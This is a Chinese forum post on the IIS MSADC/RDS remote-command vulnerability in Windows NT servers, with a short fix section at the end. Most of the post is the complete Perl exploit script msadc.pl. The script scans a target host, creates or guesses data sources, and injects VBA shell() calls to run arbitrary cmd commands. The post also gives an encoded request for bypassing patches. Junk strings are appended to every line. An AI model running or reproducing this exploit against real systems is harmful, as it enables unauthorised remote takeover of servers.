社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165943阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) CQ+WBTiC  
qd7 86~  
涉及程序: j5yxdjx9  
Microsoft NT server e(NpX_8  
)K0BH q7r  
描述: (gn)<JJS}  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 fq"<=  
?xbPdG":R  
详细: i9FHEu_  
如果你没有时间读详细内容的话,就删除: 0WjPo  
c:\Program Files\Common Files\System\Msadc\msadcs.dll m:1f7Z>  
有关的安全问题就没有了。 P{-f./(JD  
FB-_a  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 .Y"H{|]Mnh  
KF#,Q  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3'H 1T  
关于利用ODBC远程漏洞的描述,请参看: smM*HDK  
C)r!;u)AZH  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D/$$"AT  
-m.SN>V  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 QlHxdRK`.  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp *Hnk,?kPq  
N!fTt,  
这里不再论述。 Y!8Ik(/~i  
_Co*"hl>2  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L(yR"A{FsE  
St6U  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset BmRk|b  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! m&H@f:  
F|3 =Cl  
.5',w"R  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Ri}n0}I  
W+&w'~M  
#!perl q@i,$R  
# d8|bO#a%9  
# MSADC/RDS 'usage' (aka exploit) script Hvn{aLa.  
# ;BsPms@U  
# by rain.forest.puppy Hq{i-z+  
# }4!R2c  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me O43emL3  
# beta test and find errors! <mm. b  
[dK5kO  
use Socket; use Getopt::Std; j0p'_|)(  
getopts("e:vd:h:XR", \%args); &uh|! lD  
.kl _F7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; q F \a]e  
r>=)Y32Q  
if (!defined $args{h} && !defined $args{R}) { nMK,g>wp  
print qq~ uY,(3x  
Usage: msadc.pl -h <host> { -d <delay> -X -v } M(l>^N8W8  
-h <host> = host you want to scan (ip or domain) fh0a "#L{  
-d <seconds> = delay between calls, default 1 second mCa [?  
-X = dump Index Server path table, if available l .8@F  
-v = verbose wzr3 y}fCe  
-e = external dictionary file for step 5 p#VA-RSUQ|  
yG)zrRU  
Or a -R will resume a command session eIz T(3(  
f?_UT}n  
~; exit;} T+_pmDDN  
iRo/~(  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; nATEv2:G  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} }uJH!@j  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !ejLqb  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); - J9K  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 'N?,UtG R  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } >tfy\PY:  
%!5[3b'h  
if (!defined $args{R}){ $ret = &has_msadc; i1qhe?5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1}A1P&2>  
Bn83W4M  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" sLGut7@Sg  
. "cmd /c "; #{]X<et  
$in=<STDIN>; chomp $in; @`&kn;7T  
$command="cmd /c " . $in ; Xsvf@/]U  
B'( /W@  
if (defined $args{R}) {&load; exit;} O7p>"Bh  
p`@7hf|hm  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +I$ k_  
&try_btcustmr; kY8aK8M  
/Ulv/Thl  
print "\nStep 2: Trying to make our own DSN..."; v(+9&  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 1l$c*STK  
:Ogt{t  
print "\nStep 3: Trying known DSNs..."; #&JhA2]q  
&known_dsn; ).[Mnt/Ft  
~J}{'l1{yf  
print "\nStep 4: Trying known .mdbs..."; C]ev"Am_)  
&known_mdb; W 7k\j&x  
1+1Z]!nG#!  
if (defined $args{e}){ "0JG96&\  
print "\nStep 5: Trying dictionary of DSN names..."; %F'*0<  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7^}np^[HB  
Y`5(F>/RQG  
print "Sorry Charley...maybe next time?\n"; | |=q"h3(  
exit; &tT*GjPwg;  
W'l &rm@  
############################################################################## w)A@  
fiuF!<#;6  
sub sendraw { # ripped and modded from whisker $q_e~+SXT  
sleep($delay); # it's a DoS on the server! At least on mine... /%w9F  
my ($pstr)=@_; &F4khga`^:  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V) #vvnq  
die("Socket problems\n"); 1]wx Ru  
if(connect(S,pack "SnA4x8",2,80,$target)){ =Ri'Pr x&  
select(S); $|=1; ,G,'#]  
print $pstr; my @in=<S>; >k gL N  
select(STDOUT); close(S); |D `r o  
return @in; 4l0ON>W(  
} else { die("Can't connect...\n"); }} ~)';[Ha  
5l"/lGw  
############################################################################## W`}C0[%VW  
f>LwsP  
sub make_header { # make the HTTP request l+e L:C!  
my $msadc=<<EOT S+03aJNN#  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 *=OU~68)C  
User-Agent: ACTIVEDATA iNn]~L1  
Host: $ip =YZyH4eI  
Content-Length: $clen 1Ner1EKGp  
Connection: Keep-Alive a1lF8;[  
Z83A1`!.|  
ADCClientVersion:01.06 RcQo1  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ! &f(X s  
vYT%e:8)q  
--!ADM!ROX!YOUR!WORLD! aJ[K'5|  
Content-Type: application/x-varg  3z^l  
Content-Length: $reqlen X2avo|6e  
F`W8\u'db  
EOT 739J] M  
; $msadc=~s/\n/\r\n/g; "I"(yiKD  
return $msadc;} 35}{dr  
)sWC5\  
############################################################################## FyZp,uD  
E^uWlUb{  
sub make_req { # make the RDS request 7M~w05tPh  
my ($switch, $p1, $p2)=@_; 5(@P1Bi  
my $req=""; my $t1, $t2, $query, $dsn; }yde9b?F  
>heFdKq1  
if ($switch==1){ # this is the btcustmr.mdb query  nwH'E  
$query="Select * from Customers where City=" . make_shell(); ]#n,DU}V  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . DOi\DJV!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C_>dJYM  
t@K N+ C  
elsif ($switch==2){ # this is general make table query W0vdU;?%  
$query="create table AZZ (B int, C varchar(10))"; (E'f'g  
$dsn="$p1";} Ne^md  
^rz8c+ly  
elsif ($switch==3){ # this is general exploit table query f0S&_gt  
$query="select * from AZZ where C=" . make_shell(); p&Usl.  
$dsn="$p1";} NXQdyg,  
y:TLGQ0  
elsif ($switch==4){ # attempt to hork file info from index server JTH8vk:@  
$query="select path from scope()"; y#[PQ T  
$dsn="Provider=MSIDXS;";} %G~ f>  
cN/8 b0C  
elsif ($switch==5){ # bad query cTy;?(E  
$query="select"; zD>:Kj5  
$dsn="$p1";} 7x *]  
!<psK[  
$t1= make_unicode($query); o<\CA[   
$t2= make_unicode($dsn); TCW[;d  
$req = "\x02\x00\x03\x00"; `(j}2X'[  
$req.= "\x08\x00" . pack ("S1", length($t1)); Hu"?wZj  
$req.= "\x00\x00" . $t1 ; X@$x(Zc  
$req.= "\x08\x00" . pack ("S1", length($t2)); %]/O0#E3Kz  
$req.= "\x00\x00" . $t2 ; &yFt@g]  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~(2G7x)  
return $req;} &"vh=Z-  
9v_B$F$_T  
############################################################################## 'je=.{[lWt  
n@9*>D U  
sub make_shell { # this makes the shell() statement Etk`>,]Y>y  
return "'|shell(\"$command\")|'";} zY@|KV"^r  
1b)^5U ;  
############################################################################## :OC`X~}Rc  
ulM6R/ V:?  
sub make_unicode { # quick little function to convert to unicode i#$N,kt  
my ($in)=@_; my $out; `'BvUTDyZ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } R:7j`gHJ|9  
return $out;} >3HLm3T  
6 /T_+K.k  
############################################################################## YN Lc )  
'5V2{k$4U  
sub rdo_success { # checks for RDO return success (this is kludge) A;~u"g'z&  
my (@in) = @_; my $base=content_start(@in); 52-Gk2dp  
if($in[$base]=~/multipart\/mixed/){ chE~UQ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} =;(wBj  
return 0;} pgg4<j_mn  
_h#SP+>  
############################################################################## \M4/?<g  
psb$rbu7[  
sub make_dsn { # this makes a DSN for us s_} 1J,Y  
my @drives=("c","d","e","f"); ^+CTv  
print "\nMaking DSN: "; }]cKOv2  
foreach $drive (@drives) { `&2AN%Xz  
print "$drive: "; )L?JH?$C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . T7E9l  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ve.rp F\  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [ F id  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; V!=1 !"}OG  
return 0 if $2 eq "404"; # not found/doesn't exist AhOvI {  
if($2 eq "200") { g%1FTl  
foreach $line (@results) { rf.w}B;V;  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} HhfuHZ<  
} return 0;} " $5J7  
;74hOHDS  
############################################################################## [eV!ho*r  
nKn,i$sO/.  
sub verify_exists { '+tU8Pb  
my ($page)=@_; ndRy&[f7  
my @results=sendraw("GET $page HTTP/1.0\n\n"); n,eO6X 4  
return $results[0];} 0*?~I;.2m$  
sMh3IL9(*  
############################################################################## v@bs4E46e  
r0=Aru5n  
sub try_btcustmr { T9enyYt%  
my @drives=("c","d","e","f"); Y$8 >fv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3| 5Af  
d, j"8\@  
foreach $dir (@dirs) { |ToCRM  
print "$dir -> "; # fun status so you can see progress A!}Wpw%(/  
foreach $drive (@drives) {  :~JgB  
print "$drive: "; # ditto \N1 G5W  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; (Sc]dH  
$reqlenlen=length( "$reqlen" ); ]wLHe2bE u  
$clen= 206 + $reqlenlen + $reqlen; JCNZtWF  
"i$Av m  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Yv!%Is  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} +.UdEIR";M  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9H5S@w[je  
f`@$ saFD  
############################################################################## ^` N+mlh  
BR5r K  
sub odbc_error { )]Xj"V2  
my (@in)=@_; my $base; V6'"J  
my $base = content_start(@in); Y=JfV  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (hTe53d<S?  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o$I% 1  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +,=DUsI}  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <_&H<]t%rI  
return $in[$base+4].$in[$base+5].$in[$base+6];} > t *+FcD  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; kDuN3  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ws:@Pe4AF  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |}paa  
A$G>D3  
############################################################################## \`?l6'!  
\gferWm  
sub verbose { ]Bw2>6W  
my ($in)=@_; l;$HGoJ  
return if !$verbose; `9SRiy  
print STDOUT "\n$in\n";} /5:C$ik  
Sw~jyUEr  
############################################################################## xMI4*4y(  
g1-^@&q  
sub save { GD?4/HkF  
my ($p1, $p2, $p3, $p4)=@_; F8S -H"  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; +ZeHZjd  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";  ~0 <?^  
close OUT;} `(A>7;]:  
} y@pAeS,  
############################################################################## 8"R; axeD  
r(./00a  
sub load { h32QEz-+  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; CqQ>"Y  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); o9+ "6V|.  
@p=<IN>; close(IN); l@ vaupg  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); x_lCagRGC4  
$target= inet_aton($ip) || die("inet_aton problems"); D{YAEG   
print "Resuming to $ip ..."; 4f/2gI1@B  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; SBo>\<@  
if($p[1]==1) { -d? 9Acd  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; T-pes1Wu  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; v5U\E`)s  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 5tI4m#y2  
if (rdo_success(@results)){print "Success!\n";} B:dk>$>uQ  
else { print "failed\n"; verbose(odbc_error(@results));}} U%3d_"{;  
elsif ($p[1]==3){ [80jG+6  
if(run_query("$p[3]")){ P]A>"-k  
print "Success!\n";} else { print "failed\n"; }} -?gr3rV@  
elsif ($p[1]==4){ lNuZg9h  
if(run_query($drvst . "$p[3]")){ K@lZuQ.1  
print "Success!\n"; } else { print "failed\n"; }} nsWenf  
exit;} INZycNqm,  
1qXqQA  
############################################################################## lquY_lrri  
^Nl)ocHv!  
sub create_table { FWqnlK#  
my ($in)=@_; 7g1" s1~or  
$reqlen=length( make_req(2,$in,"") ) - 28; G+?@4?` z  
$reqlenlen=length( "$reqlen" ); &!uw;|%  
$clen= 206 + $reqlenlen + $reqlen; Htn'(Q  
my @results=sendraw(make_header() . make_req(2,$in,"")); /Y:1zLs%  
return 1 if rdo_success(@results); p.,o@GcL~  
my $temp= odbc_error(@results); verbose($temp); jH26-b<  
return 1 if $temp=~/Table 'AZZ' already exists/; ,Oojh;P_  
return 0;} &kh7|:{j  
g#0h{%3A \  
############################################################################## "/6<k0.D&  
z,/0e@B >  
sub known_dsn { 9{bG @g  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go p@`rBzGp  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", w8E6)wF=7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", e _\]Q-  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @cNBY7=  
Cw1Jl5OVZ  
foreach $dSn (@dsns) { J9J[.6k8  
print "."; /HR9(j6  
next if (!is_access("DSN=$dSn")); 't".~H_V  
if(create_table("DSN=$dSn")){ Erz{{kf]1V  
print "$dSn successful\n"; {B$cd?}  
if(run_query("DSN=$dSn")){ gAt[kW< n  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .),%S}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} EIO!f[]o  
J~7E8  
############################################################################## v%c r   
b'Cy!dr  
sub is_access {  |/K+tH  
my ($in)=@_; idiJ|2T"G  
$reqlen=length( make_req(5,$in,"") ) - 28; +tFm DDx=  
$reqlenlen=length( "$reqlen" ); JF7n|o-`?  
$clen= 206 + $reqlenlen + $reqlen; \5UwZx\  
my @results=sendraw(make_header() . make_req(5,$in,"")); Z'c{4b`N  
my $temp= odbc_error(@results); %Hdg,NH  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); z[:UPPbW  
return 0;} ;n?72&h  
W70J2  
############################################################################## g`~c|bx  
lN94 b3_W  
sub run_query { f&=y\uP]  
my ($in)=@_; OMG.64DX .  
$reqlen=length( make_req(3,$in,"") ) - 28; p-n_ ">7  
$reqlenlen=length( "$reqlen" ); Pk444_"=  
$clen= 206 + $reqlenlen + $reqlen; D )z'FOaI  
my @results=sendraw(make_header() . make_req(3,$in,"")); q]Gym 7o  
return 1 if rdo_success(@results);  R~u0!  
my $temp= odbc_error(@results); verbose($temp); DArEIt6Q  
return 0;} [OJ@{{U%  
K%9PIqK?4  
############################################################################## AnVj '3  
v w$VR PW  
sub known_mdb { .&d]7@!qy  
my @drives=("c","d","e","f","g"); |@pJ]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Gs$<r~Tg  
my $dir, $drive, $mdb; F, {M!dL  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; F. X{(8  
k]FP1\Y  
# this is sparse, because I don't know of many ypE cjVP D  
my @sysmdbs=( "\\catroot\\icatalog.mdb", hU=n>g>nx  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", /C"dwh"``  
"\\system32\\certmdb.mdb", ?CGbnXZ4Ug  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% F XJI,(:-  
=)5eui>{  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", XE);oL2xP  
"\\cfusion\\cfapps\\forums\\forums_.mdb", #UGtYD}"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", >QRpRHtb  
"\\cfusion\\cfapps\\security\\realm_.mdb", 5_";EED  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  TA;  
"\\cfusion\\database\\cfexamples.mdb", J \U}U'qP  
"\\cfusion\\database\\cfsnippets.mdb", \[&`PD  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <(x[Qp/5P  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1c);![O  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~5$V8yfx h  
"\\cfusion\\database\\smpolicy.mdb", g2%&/zq/  
"\\cfusion\\database\cypress.mdb", .Q FGIAM  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", VyK]:n<5Q  
"\\website\\cgi-win\\dbsample.mdb", *=i|E7Irg  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 7M#2Tze}  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 5`,qKJ  
); #these are just I12WOL q  
foreach $drive (@drives) { P6w!r>?6N  
foreach $dir (@dirs){ ?,e7v.b  
foreach $mdb (@sysmdbs) { c"R`7P  
print "."; eaP,MkK&  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Bv,u kQ\CH  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }8cL+JJU  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ m@o/W  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; TNBFb_F  
} else { print "Something's borked. Use verbose next time\n"; }}}}} j3|Ek  
"o&_tB;O  
foreach $drive (@drives) { xsS/)R?  
foreach $mdb (@mdbs) { *njdqr2c~  
print "."; /NFv?~</k  
if(create_table($drv . $drive . $dir . $mdb)){ W 0^.Dx  
print "\n" . $drive . $dir . $mdb . " successful\n"; A `\2]t$z  
if(run_query($drv . $drive . $dir . $mdb)){ nokk! v/  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; v>zeK  
} else { print "Something's borked. Use verbose next time\n"; }}}} $h1`-=\7  
} LY}%|w  
vgRjd1k.\y  
############################################################################## &L}e&5  
}.O,P'k  
sub hork_idx { [eL?O;@BD  
print "\nAttempting to dump Index Server tables...\n"; 0eq="|n^|  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; O~yPe.  
$reqlen=length( make_req(4,"","") ) - 28; fk-zT  
$reqlenlen=length( "$reqlen" ); W6f?/{Oo8  
$clen= 206 + $reqlenlen + $reqlen; [*zB vj}G  
my @results=sendraw2(make_header() . make_req(4,"","")); HFYN(nz}[  
if (rdo_success(@results)){ qPsf`nI7  
my $max=@results; my $c; my %d; YCod\}3  
for($c=19; $c<$max; $c++){ TR3_!0  
$results[$c]=~s/\x00//g; hX4&B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ^n#6CW*n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; cn (-{dCXM  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; S'T&`"Mr  
$d{"$1$2"}="";} Cv{>|g#  
foreach $c (keys %d){ print "$c\n"; } 0g% `L_e_  
} else {print "Index server doesn't seem to be installed.\n"; }} tqyR~  
^qXc%hjg  
############################################################################## '5zolp%St  
IB#L5yN r  
sub dsn_dict { `hYj0:*)S$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); T7vilfO5G  
while(<IN>){ u50 o1^<X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; yVd}1bX  
next if (!is_access("DSN=$dSn")); z zL@3/<j  
if(create_table("DSN=$dSn")){ R}lS@w1  
print "$dSn successful\n"; B-`d7c5  
if(run_query("DSN=$dSn")){ o= VzVg  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { E O^j,x g  
print "Something's borked. Use verbose next time\n";}}} /Zw^EM6c  
print "\n"; close(IN);} 3'WJx=0?  
l;^Id#N  
############################################################################## BL1$ ~0  
EhDKh\OY5  
sub sendraw2 { # ripped and modded from whisker .}gGtH,b3  
sleep($delay); # it's a DoS on the server! At least on mine... ihjs%5Jo%  
my ($pstr)=@_; MHo(j%I1E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 1,,kU  
die("Socket problems\n"); ) jBPt&  
if(connect(S,pack "SnA4x8",2,80,$target)){ K?0f)@\nx  
print "Connected. Getting data"; "<6X=|C  
open(OUT,">raw.out"); my @in; {xb8H  
select(S); $|=1; print $pstr; dLl/V3C6t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -Z )j"J  
close(OUT); select(STDOUT); close(S); return @in; @Bs7kjuX  
} else { die("Can't connect...\n"); }} xu9K\/{7  
5.!iVyN  
############################################################################## `7<4]#b^o  
m'D_zb9+  
sub content_start { # this will take in the server headers Y?Ph%i2E  
my (@in)=@_; my $c; ?HT+| !4p  
for ($c=1;$c<500;$c++) { \x D.rBbt  
if($in[$c] =~/^\x0d\x0a/){ \IB@*_G  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } vAZc.=+ >  
else { return $c+1; }}} O ;,BzA-n  
return -1;} # it should never get here actually :%ms6j/B&V  
Sx{vZS3  
############################################################################## J8Bz|.@Q  
L{_Q%!h3]  
sub funky { _7df(+.{<A  
my (@in)=@_; my $error=odbc_error(@in); Tjba @^T  
if($error=~/ADO could not find the specified provider/){ 7=yV8.cD  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Zd$a}~4~  
exit;} JL0>-kg  
if($error=~/A Handler is required/){ *@6,Sr)_  
print "\nServer has custom handler filters (they most likely are patched)\n"; )/VhkSXbG!  
exit;} 67Z@Hg  
if($error=~/specified Handler has denied Access/){ 5~GHAi  
print "\nServer has custom handler filters (they most likely are patched)\n"; #6O<!{PH6  
exit;}} 1#rcxUSi  
.bcoH  
############################################################################## Y*0AS|r!  
+o+e*B7Eh  
sub has_msadc { NN(ZH73  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 49S*f  
my $base=content_start(@results); GG0l\! 2)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 0X6|pC~  
return 0;} v%gkQa  
9z>I&vcX  
######################## :&*Y Io  
*d%"/l^0  
@'UbTB!  
解决方案: YC(7k7  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll pW{Q%"W  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 K?]><z{  
@PH`Wn#S  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五